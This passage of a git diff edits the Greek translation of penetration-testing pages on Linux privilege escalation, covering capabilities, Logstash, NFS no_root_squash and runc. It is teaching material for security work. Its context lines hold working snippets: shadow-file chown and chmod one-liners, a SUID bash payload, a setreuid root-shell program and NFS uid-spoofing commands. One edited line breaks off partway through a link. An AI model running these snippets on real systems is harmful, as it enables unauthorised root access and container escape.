βρείτε ένα αρχείο που είναι τοποθετημένο στον οικοδεσπότη, απλώς εκτελέστε την εντολή mount: +> Η εκμετάλλευση χρειάζεται να βρει έναν δείκτη σε κάτι που είναι τοποθετημένο στον κεντρικό υπολογιστή. Η αρχική εκμετάλλευση χρησιμοποιούσε το αρχείο /.dockerinit και αυτή η τροποποιημένη έκδοση χρησιμοποιεί το /etc/hostname. Αν η εκμετάλλευση δεν λειτουργεί, ίσως χρειαστεί να ορίσετε ένα διαφορετικό αρχείο. Για να βρείτε ένα αρχείο που είναι τοποθετημένο στον κεντρικό υπολογιστή, απλώς εκτελέστε την εντολή mount: ![](<../../images/image (407) (1).png>) @@ -936,7 +936,7 @@ return 0; ## CAP_DAC_OVERRIDE -**Αυτό σημαίνει ότι μπορείτε να παρακάμψετε τους ελέγχους δικαιωμάτων εγγραφής σε οποιοδήποτε αρχείο, οπότε μπορείτε να γράψετε οποιοδήποτε αρχείο.** +**Αυτό σημαίνει ότι μπορείτε να παρακάμψετε τους ελέγχους άδειας εγγραφής σε οποιοδήποτε αρχείο, οπότε μπορείτε να γράψετε οποιοδήποτε αρχείο.** Υπάρχουν πολλά αρχεία που μπορείτε να **επικαλύψετε για να κερδίσετε δικαιώματα,** [**μπορείτε να πάρετε ιδέες από εδώ**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges). @@ -1112,7 +1112,7 @@ close(fd1); return 0; } ``` -Για να ξεφύγετε από το docker container, μπορείτε να **κατεβάσετε** τα αρχεία `/etc/shadow` και `/etc/passwd` από τον host, να **προσθέσετε** σε αυτά έναν **νέο χρήστη** και να χρησιμοποιήσετε **`shocker_write`** για να τα αντικαταστήσετε. Στη συνέχεια, **πρόσβαση** μέσω **ssh**. +Για να ξεφύγετε από το docker container, μπορείτε να **κατεβάσετε** τα αρχεία `/etc/shadow` και `/etc/passwd` από τον host, **να προσθέσετε** σε αυτά έναν **νέο χρήστη**, και να χρησιμοποιήσετε **`shocker_write`** για να τα αντικαταστήσετε. Στη συνέχεια, **να αποκτήσετε πρόσβαση** μέσω **ssh**. **Ο κώδικας αυτής της τεχνικής αντιγράφηκε από το εργαστήριο "Abusing DAC_OVERRIDE Capability" από** [**https://www.pentesteracademy.com**](https://www.pentesteracademy.com) @@ -1122,7 +1122,7 @@ return 0; **Παράδειγμα με δυαδικό** -Ας υποθέσουμε ότι το **`python`** δυαδικό έχει αυτή την ικανότητα, μπορείτε να **αλλάξετε** τον **ιδιοκτήτη** του αρχείου **shadow**, να **αλλάξετε τον κωδικό πρόσβασης του root** και να κλιμακώσετε τα δικαιώματα: +Ας υποθέσουμε ότι το **`python`** δυαδικό έχει αυτή την ικανότητα, μπορείτε να **αλλάξετε** τον **ιδιοκτήτη** του αρχείου **shadow**, **να αλλάξετε τον κωδικό πρόσβασης του root**, και να κλιμακώσετε τα δικαιώματα: ```bash python -c 'import os;os.chown("/etc/shadow",1000,1000)' ``` @@ -1136,7 +1136,7 @@ ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")' **Παράδειγμα με δυαδικό αρχείο** -Αν το python έχει αυτή την ικανότητα, μπορείτε να τροποποιήσετε τα δικαιώματα του αρχείου shadow, **να αλλάξετε τον κωδικό πρόσβασης του root**, και να κερδίσετε δικαιώματα: +Εάν το python έχει αυτή την ικανότητα, μπορείτε να τροποποιήσετε τα δικαιώματα του αρχείου shadow, **να αλλάξετε τον κωδικό πρόσβασης του root**, και να κλιμακώσετε τα δικαιώματα: ```bash python -c 'import os;os.chmod("/etc/shadow",0666) ``` @@ -1188,7 +1188,7 @@ os.system("/bin/bash") ```bash cat /etc/shadow ``` -Αν το **docker** είναι εγκατεστημένο, μπορείτε να **παριστάνετε** την **ομάδα docker** και να την εκμεταλλευτείτε για να επικοινωνήσετε με το [**docker socket** και να αυξήσετε τα δικαιώματα](./#writable-docker-socket). +Αν το **docker** είναι εγκατεστημένο, μπορείτε να **παριστάνετε** την **ομάδα docker** και να την εκμεταλλευτείτε για να επικοινωνήσετε με το [**docker socket** και να κλιμακώσετε τα δικαιώματα](./#writable-docker-socket). ## CAP_SETFCAP @@ -1196,7 +1196,7 @@ cat /etc/shadow **Παράδειγμα με δυαδικό αρχείο** -Αν το python έχει αυτή την **ικανότητα**, μπορείτε πολύ εύκολα να την εκμεταλλευτείτε για να αυξήσετε τα δικαιώματα σε root: +Αν το python έχει αυτή την **ικανότητα**, μπορείτε πολύ εύκολα να την εκμεταλλευτείτε για να κλιμακώσετε τα δικαιώματα σε root: ```python:setcapability.py import ctypes, sys @@ -1257,21 +1257,21 @@ bash: /usr/bin/gdb: Operation not permitted Φαίνεται ότι οι επιτρεπόμενες ικανότητες περιορίζουν αυτές που μπορούν να χρησιμοποιηθούν.\ Ωστόσο, το Docker παρέχει επίσης την **CAP_SETPCAP** από προεπιλογή, οπότε μπορεί να είστε σε θέση να **ορίσετε νέες ικανότητες μέσα στις κληρονομήσιμες**.\ Ωστόσο, στην τεκμηρίωση αυτής της ικανότητας: _CAP_SETPCAP : \[…] **προσθέτει οποιαδήποτε ικανότητα από το περιοριστικό** σύνολο του καλούντος νήματος στο κληρονομήσιμο σύνολο του._\ -Φαίνεται ότι μπορούμε να προσθέσουμε μόνο στο κληρονομήσιμο σύνολο ικανότητες από το περιοριστικό σύνολο. Αυτό σημαίνει ότι **δεν μπορούμε να βάλουμε νέες ικανότητες όπως CAP_SYS_ADMIN ή CAP_SYS_PTRACE στο κληρονομήσιμο σύνολο για να κλιμακώσουμε τα προνόμια**. +Φαίνεται ότι μπορούμε να προσθέσουμε μόνο στο κληρονομήσιμο σύνολο ικανότητες από το περιοριστικό σύνολο. Αυτό σημαίνει ότι **δεν μπορούμε να βάλουμε νέες ικανότητες όπως CAP_SYS_ADMIN ή CAP_SYS_PTRACE στο κληρονομήσιμο σύνολο για να κλιμακώσουμε τα δικαιώματα**. ## CAP_SYS_RAWIO -[**CAP_SYS_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) παρέχει μια σειρά ευαίσθητων λειτουργιών, συμπεριλαμβανομένης της πρόσβασης σε `/dev/mem`, `/dev/kmem` ή `/proc/kcore`, τροποποίηση του `mmap_min_addr`, πρόσβαση στις κλήσεις συστήματος `ioperm(2)` και `iopl(2)`, και διάφορες εντολές δίσκου. Η `FIBMAP ioctl(2)` είναι επίσης ενεργοποιημένη μέσω αυτής της ικανότητας, η οποία έχει προκαλέσει προβλήματα στο [παρελθόν](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). Σύμφωνα με τη σελίδα man, αυτό επιτρέπει επίσης στον κάτοχο να περιγραφικά `εκτελεί μια σειρά από ειδικές λειτουργίες συσκευών σε άλλες συσκευές`. +[**CAP_SYS_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) παρέχει μια σειρά από ευαίσθητες λειτουργίες, συμπεριλαμβανομένης της πρόσβασης σε `/dev/mem`, `/dev/kmem` ή `/proc/kcore`, τροποποίηση του `mmap_min_addr`, πρόσβαση στις κλήσεις συστήματος `ioperm(2)` και `iopl(2)`, και διάφορες εντολές δίσκου. Η `FIBMAP ioctl(2)` είναι επίσης ενεργοποιημένη μέσω αυτής της ικανότητας, η οποία έχει προκαλέσει προβλήματα στο [παρελθόν](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). Σύμφωνα με τη σελίδα man, αυτό επιτρέπει επίσης στον κάτοχο να περιγραφικά `εκτελεί μια σειρά από ειδικές για τη συσκευή λειτουργίες σε άλλες συσκευές`. -Αυτό μπορεί να είναι χρήσιμο για **κλιμάκωση προνομίων** και **breakout Docker.** +Αυτό μπορεί να είναι χρήσιμο για **κλιμάκωση δικαιωμάτων** και **breakout του Docker.** ## CAP_KILL **Αυτό σημαίνει ότι είναι δυνατό να τερματίσετε οποιαδήποτε διαδικασία.** -**Παράδειγμα με δυαδικό αρχείο** +**Παράδειγμα με δυαδικό** -Ας υποθέσουμε ότι το **`python`** δυαδικό αρχείο έχει αυτή την ικανότητα. Αν μπορούσατε **επίσης να τροποποιήσετε κάποια υπηρεσία ή ρύθμιση υποδοχής** (ή οποιοδήποτε αρχείο ρύθμισης σχετικό με μια υπηρεσία), θα μπορούσατε να το backdoor, και στη συνέχεια να τερματίσετε τη διαδικασία που σχετίζεται με αυτή την υπηρεσία και να περιμένετε να εκτελεστεί το νέο αρχείο ρύθμισης με το backdoor σας. +Ας υποθέσουμε ότι το **`python`** δυαδικό έχει αυτή την ικανότητα. Αν μπορούσατε **επίσης να τροποποιήσετε κάποια υπηρεσία ή ρύθμιση υποδοχής** (ή οποιοδήποτε αρχείο ρύθμισης που σχετίζεται με μια υπηρεσία), θα μπορούσατε να το backdoor, και στη συνέχεια να τερματίσετε τη διαδικασία που σχετίζεται με αυτή την υπηρεσία και να περιμένετε να εκτελεστεί το νέο αρχείο ρύθμισης με το backdoor σας. ```python #Use this python code to kill arbitrary processes import os @@ -1327,16 +1327,16 @@ s.connect(('10.10.10.10',500)) [**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) ικανότητα επιτρέπει στις διαδικασίες να **δημιουργούν RAW και PACKET sockets**, επιτρέποντάς τους να παράγουν και να στέλνουν αυθαίρετα πακέτα δικτύου. Αυτό μπορεί να οδηγήσει σε κινδύνους ασφαλείας σε κοντέινερ, όπως η παραχάραξη πακέτων, η έγχυση κυκλοφορίας και η παράκαμψη ελέγχων πρόσβασης δικτύου. Κακόβουλοι παράγοντες θα μπορούσαν να εκμεταλλευτούν αυτό για να παρεμβαίνουν στη δρομολόγηση κοντέινερ ή να διακυβεύσουν την ασφάλεια του δικτύου του κεντρικού υπολογιστή, ειδικά χωρίς επαρκείς προστασίες τείχους προστασίας. Επιπλέον, **CAP_NET_RAW** είναι κρίσιμη για τα προνομιούχα κοντέινερ ώστε να υποστηρίζουν λειτουργίες όπως το ping μέσω RAW ICMP αιτημάτων. -**Αυτό σημαίνει ότι είναι δυνατόν να καταγράψετε την κυκλοφορία.** Δεν μπορείτε να αναβαθμίσετε τα προνόμια άμεσα με αυτή την ικανότητα. +**Αυτό σημαίνει ότι είναι δυνατόν να κατασκοπεύσετε την κυκλοφορία.** Δεν μπορείτε να αναβαθμίσετε τα προνόμια άμεσα με αυτή την ικανότητα. -**Παράδειγμα με δυαδικό αρχείο** +**Παράδειγμα με δυαδικό** -Αν το δυαδικό αρχείο **`tcpdump`** έχει αυτή την ικανότητα, θα μπορείτε να το χρησιμοποιήσετε για να καταγράψετε πληροφορίες δικτύου. +Αν το δυαδικό **`tcpdump`** έχει αυτή την ικανότητα, θα μπορείτε να το χρησιμοποιήσετε για να καταγράψετε πληροφορίες δικτύου. ```bash getcap -r / 2>/dev/null /usr/sbin/tcpdump = cap_net_raw+ep ``` -Σημειώστε ότι αν το **environment** παρέχει αυτή την ικανότητα, μπορείτε επίσης να χρησιμοποιήσετε **`tcpdump`** για να καταγράψετε την κίνηση. +Σημειώστε ότι αν το **περιβάλλον** παρέχει αυτή την ικανότητα, μπορείτε επίσης να χρησιμοποιήσετε **`tcpdump`** για να καταγράψετε την κίνηση. **Παράδειγμα με δυαδικό 2** @@ -1386,7 +1386,7 @@ count=count+1 ``` ## CAP_NET_ADMIN + CAP_NET_RAW -[**CAP_NET_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) ικανότητα δίνει στον κάτοχό της τη δύναμη να **αλλάξει τις ρυθμίσεις δικτύου**, συμπεριλαμβανομένων των ρυθμίσεων τείχους προστασίας, των πινάκων δρομολόγησης, των δικαιωμάτων υποδοχών και των ρυθμίσεων διεπαφής δικτύου εντός των εκτεθειμένων ονομάτων χώρου δικτύου. Επίσης, επιτρέπει την ενεργοποίηση του **promiscuous mode** στις διεπαφές δικτύου, επιτρέποντας την ανίχνευση πακέτων σε διάφορους χώρους ονομάτων. +[**CAP_NET_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) ικανότητα δίνει στον κάτοχό της τη δύναμη να **αλλάξει τις ρυθμίσεις δικτύου**, συμπεριλαμβανομένων των ρυθμίσεων τείχους προστασίας, των πινάκων δρομολόγησης, των δικαιωμάτων υποδοχών και των ρυθμίσεων διεπαφών δικτύου εντός των εκτεθειμένων ονομάτων χώρου δικτύου. Επίσης, επιτρέπει την ενεργοποίηση του **promiscuous mode** στις διεπαφές δικτύου, επιτρέποντας την ανίχνευση πακέτων σε διάφορους χώρους ονομάτων. **Παράδειγμα με δυαδικό** @@ -1404,11 +1404,11 @@ iptc.easy.flush_table('filter') ``` ## CAP_LINUX_IMMUTABLE -**Αυτό σημαίνει ότι είναι δυνατή η τροποποίηση των χαρακτηριστικών inode.** Δεν μπορείτε να αναβαθμίσετε τα δικαιώματα άμεσα με αυτήν την ικανότητα. +**Αυτό σημαίνει ότι είναι δυνατή η τροποποίηση των χαρακτηριστικών inode.** Δεν μπορείτε να αναβαθμίσετε τα δικαιώματα άμεσα με αυτή την ικανότητα. **Παράδειγμα με δυαδικό αρχείο** -Αν διαπιστώσετε ότι ένα αρχείο είναι αμετάβλητο και η python έχει αυτήν την ικανότητα, μπορείτε να **αφαιρέσετε το χαρακτηριστικό αμεταβλητότητας και να κάνετε το αρχείο τροποποιήσιμο:** +Αν διαπιστώσετε ότι ένα αρχείο είναι αμετάβλητο και η python έχει αυτή την ικανότητα, μπορείτε να **αφαιρέσετε το χαρακτηριστικό αμεταβλητότητας και να κάνετε το αρχείο τροποποιήσιμο:** ```python #Check that the file is imutable lsattr file.sh @@ -1469,8 +1469,8 @@ f.write('New content for the file\n') Αυτή η ικανότητα επιτρέπει την εκτέλεση αναβάθμισης δικαιωμάτων (μέσω πλήρους ανάγνωσης δίσκου) στον οικοδεσπότη, υπό αυτές τις προϋποθέσεις: -1. Έχετε αρχική πρόσβαση στον οικοδεσπότη (Χωρίς δικαιώματα). -2. Έχετε αρχική πρόσβαση στο κοντέινερ (Με δικαιώματα (EUID 0), και αποτελεσματικό `CAP_MKNOD`). +1. Έχετε αρχική πρόσβαση στον οικοδεσπότη (χωρίς δικαιώματα). +2. Έχετε αρχική πρόσβαση στο κοντέινερ (με δικαιώματα (EUID 0), και αποτελεσματικό `CAP_MKNOD`). 3. Ο οικοδεσπότης και το κοντέινερ θα πρέπει να μοιράζονται το ίδιο namespace χρηστών. **Βήματα για τη Δημιουργία και Πρόσβαση σε μια Συσκευή Μπλοκ σε Ένα Κοντέινερ:** diff --git a/src/linux-hardening/privilege-escalation/logstash.md b/src/linux-hardening/privilege-escalation/logstash.md index 18e561c03..53524d3dd 100644 --- a/src/linux-hardening/privilege-escalation/logstash.md +++ b/src/linux-hardening/privilege-escalation/logstash.md @@ -18,7 +18,7 @@ path.config: "/etc/logstash/conf.d/*.conf" path.config: "/usr/share/logstash/pipeline/1*.conf" pipeline.workers: 6 ``` -Αυτό το αρχείο αποκαλύπτει πού βρίσκονται τα **.conf** αρχεία, που περιέχουν ρυθμίσεις pipeline. Όταν χρησιμοποιείται ένα **Elasticsearch output module**, είναι συνηθισμένο τα **pipelines** να περιλαμβάνουν **Elasticsearch credentials**, οι οποίες συχνά διαθέτουν εκτενή δικαιώματα λόγω της ανάγκης του Logstash να γράφει δεδομένα στο Elasticsearch. Οι χαρακτήρες μπαλαντέρ στις διαδρομές ρύθμισης επιτρέπουν στο Logstash να εκτελεί όλα τα αντίστοιχα pipelines στον καθορισμένο φάκελο. +Αυτό το αρχείο αποκαλύπτει πού βρίσκονται τα αρχεία **.conf**, που περιέχουν ρυθμίσεις pipeline. Όταν χρησιμοποιείται ένα **Elasticsearch output module**, είναι συνηθισμένο τα **pipelines** να περιλαμβάνουν **Elasticsearch credentials**, οι οποίες συχνά διαθέτουν εκτενή δικαιώματα λόγω της ανάγκης του Logstash να γράφει δεδομένα στο Elasticsearch. Οι χαρακτήρες μπαλαντέρ στις διαδρομές ρύθμισης επιτρέπουν στο Logstash να εκτελεί όλα τα αντίστοιχα pipelines στον καθορισμένο φάκελο. ### Privilege Escalation via Writable Pipelines @@ -48,9 +48,9 @@ codec => rubydebug } } ``` -Εδώ, το **interval** καθορίζει τη συχνότητα εκτέλεσης σε δευτερόλεπτα. Στο δοθέν παράδειγμα, η εντολή **whoami** εκτελείται κάθε 120 δευτερόλεπτα, με την έξοδό της να κατευθύνεται στο **/tmp/output.log**. +Εδώ, **interval** καθορίζει τη συχνότητα εκτέλεσης σε δευτερόλεπτα. Στο δοθέν παράδειγμα, η εντολή **whoami** εκτελείται κάθε 120 δευτερόλεπτα, με την έξοδό της να κατευθύνεται στο **/tmp/output.log**. -Με το **config.reload.automatic: true** στο **/etc/logstash/logstash.yml**, το Logstash θα ανιχνεύει και θα εφαρμόζει αυτόματα νέες ή τροποποιημένες ρυθμίσεις pipeline χωρίς να απαιτείται επανεκκίνηση. Αν δεν υπάρχει wildcard, μπορούν να γίνουν τροποποιήσεις σε υπάρχουσες ρυθμίσεις, αλλά συνιστάται προσοχή για να αποφευχθούν διαταραχές. +Με **config.reload.automatic: true** στο **/etc/logstash/logstash.yml**, το Logstash θα ανιχνεύει και θα εφαρμόζει αυτόματα νέες ή τροποποιημένες ρυθμίσεις pipeline χωρίς να απαιτείται επανεκκίνηση. Αν δεν υπάρχει wildcard, μπορούν να γίνουν τροποποιήσεις σε υπάρχουσες ρυθμίσεις, αλλά συνιστάται προσοχή για να αποφευχθούν διαταραχές. ## References diff --git a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md index e6af1e7df..320ca3aed 100644 --- a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md +++ b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md @@ -1,10 +1,10 @@ {{#include ../../banners/hacktricks-training.md}} -Διαβάστε το _ **/etc/exports** _ αρχείο, αν βρείτε κάποιον κατάλογο που είναι ρυθμισμένος ως **no_root_squash**, τότε μπορείτε να **έχετε πρόσβαση** σε αυτόν από **ως πελάτης** και να **γράφετε μέσα** σε αυτόν τον κατάλογο **σαν** να ήσασταν ο τοπικός **root** της μηχανής. +Διαβάστε το _ **/etc/exports** _ αρχείο, αν βρείτε κάποιον φάκελο που είναι ρυθμισμένος ως **no_root_squash**, τότε μπορείτε να **έχετε πρόσβαση** σε αυτόν από **ως πελάτης** και να **γράφετε μέσα** σε αυτόν τον φάκελο **σαν** να ήσασταν ο τοπικός **root** της μηχανής. **no_root_squash**: Αυτή η επιλογή δίνει βασικά εξουσία στον χρήστη root στον πελάτη να έχει πρόσβαση σε αρχεία στον NFS server ως root. Και αυτό μπορεί να οδηγήσει σε σοβαρές επιπτώσεις ασφαλείας. -**no_all_squash:** Αυτή είναι παρόμοια με την επιλογή **no_root_squash** αλλά εφαρμόζεται σε **μη-ρίζες χρήστες**. Φανταστείτε, έχετε ένα shell ως χρήστης nobody; ελέγξατε το αρχείο /etc/exports; η επιλογή no_all_squash είναι παρούσα; ελέγξτε το αρχείο /etc/passwd; μιμηθείτε έναν μη-ρίζα χρήστη; δημιουργήστε ένα αρχείο suid ως αυτός ο χρήστης (με την τοποθέτηση χρησιμοποιώντας nfs). Εκτελέστε το suid ως χρήστης nobody και γίνετε διαφορετικός χρήστης. +**no_all_squash:** Αυτή είναι παρόμοια με την επιλογή **no_root_squash** αλλά εφαρμόζεται σε **μη-ρίζες χρήστες**. Φανταστείτε, έχετε ένα shell ως χρήστης nobody; ελέγξατε το αρχείο /etc/exports; η επιλογή no_all_squash είναι παρούσα; ελέγξτε το αρχείο /etc/passwd; προσομοιώστε έναν μη-ρίζα χρήστη; δημιουργήστε ένα αρχείο suid ως αυτός ο χρήστης (με την τοποθέτηση χρησιμοποιώντας nfs). Εκτελέστε το suid ως χρήστης nobody και γίνετε διαφορετικός χρήστης. # Privilege Escalation @@ -12,7 +12,7 @@ Αν έχετε βρει αυτή την ευπάθεια, μπορείτε να την εκμεταλλευτείτε: -- **Τοποθετώντας αυτόν τον κατάλογο** σε μια μηχανή πελάτη, και **ως root αντιγράφοντας** μέσα στον τοποθετημένο φάκελο το **/bin/bash** δυαδικό και δίνοντάς του **SUID** δικαιώματα, και **εκτελώντας από τη μηχανή του θύματος** αυτό το δυαδικό bash. +- **Τοποθετώντας αυτόν τον φάκελο** σε μια μηχανή πελάτη, και **ως root αντιγράφοντας** μέσα στον τοποθετημένο φάκελο το **/bin/bash** δυαδικό και δίνοντάς του **SUID** δικαιώματα, και **εκτελώντας από τη μηχανή του θύματος** αυτό το δυαδικό bash. ```bash #Attacker, as root user mkdir /tmp/pe @@ -42,18 +42,14 @@ cd ## Τοπική Εκμετάλλευση > [!NOTE] -> Σημειώστε ότι αν μπορείτε να δημιουργήσετε ένα **τούνελ από τη μηχανή σας στη μηχανή του θύματος μπορείτε ακόμα να χρησιμοποιήσετε την απομακρυσμένη έκδοση για να εκμεταλλευτείτε αυτή την κλιμάκωση προνομίων στέλνοντας τα απαιτούμενα ports**.\ +> Σημειώστε ότι αν μπορείτε να δημιουργήσετε ένα **τούνελ από τη μηχανή σας στη μηχανή του θύματος, μπορείτε ακόμα να χρησιμοποιήσετε την απομακρυσμένη έκδοση για να εκμεταλλευτείτε αυτή την κλιμάκωση προνομίων στέλνοντας τα απαιτούμενα ports**.\ > Το παρακάτω κόλπο ισχύει στην περίπτωση που το αρχείο `/etc/exports` **υποδεικνύει μια IP**. Σε αυτή την περίπτωση **δεν θα μπορείτε να χρησιμοποιήσετε** σε καμία περίπτωση την **απομακρυσμένη εκμετάλλευση** και θα χρειαστεί να **καταχραστείτε αυτό το κόλπο**.\ -> Ένα άλλο απαιτούμενο προαπαιτούμενο για να λειτουργήσει η εκμετάλλευση είναι ότι **η εξαγωγή μέσα στο `/etc/export`** **πρέπει να χρησιμοποιεί την σημαία `insecure`**.\ -> --_Δεν είμαι σίγουρος αν το `/etc/export` υποδεικνύει μια διεύθυνση IP αν αυτό το κόλπο θα λειτουργήσει_-- +> Ένα άλλο απαιτούμενο προαπαιτούμενο για να λειτουργήσει η εκμετάλλευση είναι ότι **η εξαγωγή μέσα στο `/etc/export`** **πρέπει να χρησιμοποιεί την ένδειξη `insecure`**.\ +> --_Δεν είμαι σίγουρος αν το `/etc/export` υποδεικνύει μια διεύθυνση IP, αν αυτό το κόλπο θα λειτουργήσει_-- ## Βασικές Πληροφορίες -Το σενάριο περιλαμβάνει την εκμετάλλευση ενός προσαρτημένου NFS share σε μια τοπική μηχανή, εκμεταλλευόμενο ένα σφάλμα στην προδιαγραφή NFSv3 που επιτρέπει στον πελάτη να καθορίσει το uid/gid του, ενδεχομένως επιτρέποντας μη εξουσιοδοτημένη πρόσβαση. Η εκμετάλλευση περιλαμβάνει τη χρήση του [libnfs](https://github.com/sahlberg/libnfs), μιας βιβλιοθήκης που επιτρέπει την πλαστογράφηση των κλήσεων RPC NFS. - -### Συγκέντρωση της Βιβλιοθήκης - -Τα βήματα συγκέντρωσης της βιβλιοθήκης μπορεί να απαιτούν προσαρμογές με βάση την έκδοση του πυρήνα. Σε αυτή την συγκεκριμένη περίπτωση, οι κλήσεις syscalls fallocate είχαν σχολιαστεί. Η διαδικασία συγκέντρωσης περιλαμβάνει τις παρακάτω εντολές: +Το σενάριο περιλαμβάνει την εκμετάλλευση ενός προσαρτημένου NFS share σε μια τοπική μηχανή, εκμεταλλευόμενος ένα σφάλμα στην προδιαγραφή NFSv3 που επιτρέπει στον πελάτη να καθορίσει το uid/gid του, ενδεχομένως επιτρέποντας μη εξουσιοδοτημένη πρόσβαση. Η εκμετάλλευση περιλαμβάνει τη χρήση του [libnfs](https://github.com/sahlberg ```bash ./bootstrap ./configure @@ -62,7 +58,7 @@ gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib ``` ### Διεξαγωγή της Εκμετάλλευσης -Η εκμετάλλευση περιλαμβάνει τη δημιουργία ενός απλού προγράμματος C (`pwn.c`) που ανυψώνει τα δικαιώματα σε root και στη συνέχεια εκτελεί ένα shell. Το πρόγραμμα μεταγλωττίζεται και το παραγόμενο δυαδικό αρχείο (`a.out`) τοποθετείται στο κοινόχρηστο με suid root, χρησιμοποιώντας το `ld_nfs.so` για να προσποιηθεί το uid στις κλήσεις RPC: +Η εκμετάλλευση περιλαμβάνει τη δημιουργία ενός απλού προγράμματος C (`pwn.c`) που ανυψώνει τα δικαιώματα σε root και στη συνέχεια εκτελεί ένα shell. Το πρόγραμμα μεταγλωττίζεται και το παραγόμενο δυαδικό αρχείο (`a.out`) τοποθετείται στο κοινόχρηστο φάκελο με suid root, χρησιμοποιώντας το `ld_nfs.so` για να προσποιηθεί το uid στις κλήσεις RPC: 1. **Μεταγλωττίστε τον κώδικα εκμετάλλευσης:** @@ -72,7 +68,7 @@ int main(void){setreuid(0,0); system("/bin/bash"); return 0;} gcc pwn.c -o a.out ``` -2. **Τοποθετήστε την εκμετάλλευση στο κοινόχρηστο και τροποποιήστε τα δικαιώματά της προσποιούμενοι το uid:** +2. **Τοποθετήστε την εκμετάλλευση στο κοινόχρηστο φάκελο και τροποποιήστε τα δικαιώματά της προσποιούμενοι το uid:** ```bash LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/ @@ -89,7 +85,7 @@ LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs:/ ## Μπόνους: NFShell για Διακριτική Πρόσβαση σε Αρχεία -Μόλις αποκτηθεί η πρόσβαση root, για να αλληλεπιδράσετε με το NFS share χωρίς να αλλάξετε την ιδιοκτησία (για να αποφευχθεί η αφή των ιχνών), χρησιμοποιείται ένα σενάριο Python (nfsh.py). Αυτό το σενάριο προσαρμόζει το uid ώστε να ταιριάζει με αυτό του αρχείου που προσπελάζεται, επιτρέποντας την αλληλεπίδραση με αρχεία στο κοινόχρηστο χωρίς προβλήματα δικαιωμάτων: +Μόλις αποκτηθεί η πρόσβαση root, για να αλληλεπιδράσετε με το κοινόχρηστο NFS χωρίς να αλλάξετε την ιδιοκτησία (για να αποφευχθεί η αφή ίχνους), χρησιμοποιείται ένα σενάριο Python (nfsh.py). Αυτό το σενάριο προσαρμόζει το uid ώστε να ταιριάζει με αυτό του αρχείου που προσπελάζεται, επιτρέποντας την αλληλεπίδραση με αρχεία στο κοινόχρηστο φάκελο χωρίς προβλήματα δικαιωμάτων: ```python #!/usr/bin/env python # script from https://www.errno.fr/nfs_privesc.html diff --git a/src/linux-hardening/privilege-escalation/payloads-to-execute.md b/src/linux-hardening/privilege-escalation/payloads-to-execute.md index 23045ecd9..04c123b49 100644 --- a/src/linux-hardening/privilege-escalation/payloads-to-execute.md +++ b/src/linux-hardening/privilege-escalation/payloads-to-execute.md @@ -7,7 +7,7 @@ cp /bin/bash /tmp/b && chmod +s /tmp/b /bin/b -p #Maintains root privileges from suid, working in debian & buntu ``` -## C +## Γ ```c //gcc payload.c -o payload int main(void){ @@ -76,7 +76,7 @@ objdump -T /bin/su | grep audit 0000000000000000 DF *UND* 0000000000000000 audit_log_acct_message 000000000020e968 g DO .bss 0000000000000004 Base audit_fd ``` -Οι συμβολισμοί `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` και `audit_fd` προέρχονται πιθανώς από τη βιβλιοθήκη libaudit.so.1. Καθώς η libaudit.so.1 θα αντικατασταθεί από τη κακόβουλη κοινή βιβλιοθήκη, αυτοί οι συμβολισμοί θα πρέπει να είναι παρόντες στη νέα κοινή βιβλιοθήκη, αλλιώς το πρόγραμμα δεν θα μπορεί να βρει τον συμβολισμό και θα τερματιστεί. +Τα σύμβολα `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` και `audit_fd` προέρχονται πιθανώς από τη βιβλιοθήκη libaudit.so.1. Καθώς η libaudit.so.1 θα αντικατασταθεί από τη κακόβουλη κοινή βιβλιοθήκη, αυτά τα σύμβολα θα πρέπει να είναι παρόντα στη νέα κοινή βιβλιοθήκη, διαφορετικά το πρόγραμμα δεν θα μπορεί να βρει το σύμβολο και θα τερματιστεί. ```c #include #include diff --git a/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md b/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md index fec385a77..1225f296d 100644 --- a/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md @@ -12,7 +12,7 @@ ## PE -Αν διαπιστώσετε ότι το `runc` είναι εγκατεστημένο στον host, μπορεί να είστε σε θέση να **τρέξετε ένα container που να προσαρτά τον ριζικό / φάκελο του host**. +Αν διαπιστώσετε ότι το `runc` είναι εγκατεστημένο στον host, μπορεί να είστε σε θέση να **τρέξετε ένα container που να προσαρτά τον ριζικό φάκελο / του host**. ```bash runc -help #Get help and see if runc is intalled runc spec #This will create the config.json file in your current folder @@ -37,6 +37,6 @@ mkdir rootfs runc run demo ``` > [!CAUTION] -> Αυτό δεν θα λειτουργεί πάντα καθώς η προεπιλεγμένη λειτουργία του runc είναι να εκτελείται ως root, οπότε η εκτέλεσή του ως μη προνομιούχος χρήστη απλά δεν μπορεί να λειτουργήσει (εκτός αν έχετε μια ρύθμιση χωρίς root). Η ρύθμιση μιας προεπιλεγμένης ρύθμισης χωρίς root γενικά δεν είναι καλή ιδέα επειδή υπάρχουν αρκετοί περιορισμοί μέσα σε κοντέινερ χωρίς root που δεν ισχύουν έξω από κοντέινερ χωρίς root. +> Αυτό δεν θα λειτουργεί πάντα καθώς η προεπιλεγμένη λειτουργία του runc είναι να εκτελείται ως root, οπότε η εκτέλεσή του ως μη προνομιούχος 